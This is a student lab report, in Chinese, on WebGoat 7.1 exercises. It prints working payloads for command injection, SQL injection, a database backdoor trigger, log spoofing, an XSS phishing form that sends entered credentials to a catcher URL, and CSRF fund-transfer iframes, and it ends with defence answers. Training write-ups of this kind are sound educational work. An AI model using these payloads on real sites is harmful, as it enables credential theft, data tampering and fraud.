2019-2020-2 20175334罗昕锐《网络对抗技术》Exp9 Web安全基础
1 WebGoat安装
-
根据这篇文章配置JDK
-
官网下载
webgoat-container-7.1-war-exec.jar
-
通过
netstat -tupln | grep 8080
命令查看端口是否被占用,如果被占用,通过kill+进程号
命令终止进程 -
在
webgoat-container-7.1-war-exec.jar
文件目录下执行java -jar webgoat-container-7.1-war-exec.jar
-
在浏览器中打开
http://localhost:8080/WebGoat
,进入WebGoat登录界面,使用下方默认用户名及密码登录
-
登录完成后可以看到左边课程栏进行学习
2 SQL注入攻击
2.1 命令注入(Command Injection)
-
修改提交的参数,使服务器执行恶意命令
-
右键选择
inspect Element
审查网页元素,选中一栏代码,右键选择Edit As Html
进行修改,添加"&&ifconfig"
-
点击
view
,可以看到IP地址,攻击成功
2.2 数字型注入(Numeric SQL Injection)
-
利用SQL语句的特点,注入数字型数据,使系统执行恶意代码
-
右键选择
inspect Element
审查网页元素,找到名字为station
的select元素
,在101
和102
后面添加or 1=1
-
点击
go
,查询到了所有城市的天气情况,攻击成功
2.3 日志欺骗(Log Spoofing)
-
在系统日志中抹除攻击者访问的记录,混淆安全软件视听
-
用户名输入
20175334%0d%0aLogin Succeeded for username: admin
,密码随意,成功登录
2.4 字符串注入(String SQL Injection)
-
利用SQL语句的特点,注入字符串,使系统执行恶意代码
-
右键选择
inspect Element
审查网页元素,将password
的最大长度限制改为18
-
以用户
Neville Bartholomew(admin)登录,输入密码
5334' or '1' = '1`` -
成功得到所有人员列表
2.5 数据库后门(Database Backdoors)
-
利用数据库中的触发器,使用INSERT语句来使系统执行恶意代码
-
输入
101
可查询现有信息
-
输入
101; update employee set salary=12345678
,成功更改工资
-
输入
101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20175334@qq.com' WHERE userid = NEW.userid
,之后表中添加新用户时其邮箱为我设置的假邮箱
3 XSS攻击
3.1 跨站脚本钓鱼攻击(Phishing with XSS)
-
在XSS帮助下实现钓鱼工具或向某些官方页面中增加内容
-
在
search
框中输入以下代码
<head>
<body>
<div>
<div style="float:left;height:100px;50%;background-color:green;"></div>
<div style="float:left;height:100px;50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
- 点击
search
并随意输入用户名及密码进行登录
3.2 存储型XSS攻击(Stored XSS Attacks)
-
事先将恶意代码上传或储存到漏洞服务器中,只要浏览包含此恶意代码的页面就会执行恶意代码
-
在留言板中输入
<script>alert("I'm 20175334!");</script>
,点击submit
3.3 反射型XSS攻击(Reflected XSS Attacks)
-
通过使被攻击者执行攻击者的脚本,使攻击者获取被攻击者的cookie等敏感数据,进而可以窃取其临时身份,进行一系列操作
-
序列码输入
<script>alert(" 20175334!");</script>
,点击purchase
4 CSRF攻击
4.1 跨站请求伪造(Cross Site Request Forgery)
-
攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作
-
根据自己参数的实际情况,在
message
中输入将url隐藏到一个隐藏图片中,提交后转走用户5000元
4.2 绕过CSRF确认(CSRF Prompt By‐Pass)
-
欺骗用户加载包含伪造请求的页面,以便使用用户的凭据执行命令
-
根据自己参数的实际情况,在
message
中输入
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=CONFIRM"> </iframe>
- 点击
submit
5 实验收获与感想
- 通过本次实验,对于web应用建设的基本环节有所理解,对于数据库的重要性也有了更深的认识,学习到了多种攻击方法,了解到cookie在web访问中的重要性,受益匪浅
6 回答问题
-
(1)SQL注入攻击原理,如何防御
-
原理:web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息
-
防范:普通用户与系统管理员用户的权限要有严格的区分;在构造动态SQL语句时使用类安全的参数加码机制;加强对用户输入的验证
-
-
(2)XSS攻击的原理,如何防御
-
原理:攻击者往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,攻击者利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息
-
在表单提交或者url参数传递前,对需要的参数进行过滤;检查用户输入的内容中是否有非法内容,如尖括号、引号等,严格控制输出
-
-
(3)CSRF攻击原理,如何防御
-
攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己以前认证过的站点并运行一些操作(如发邮件,发消息,甚至财产操作(如转账和购买商品)
-
尽量不要在页面的链接中暴露用户隐私信息;避免全站通用的cookie,严格设置cookie的域;对于用户修改删除等操作最好都使用post操作
-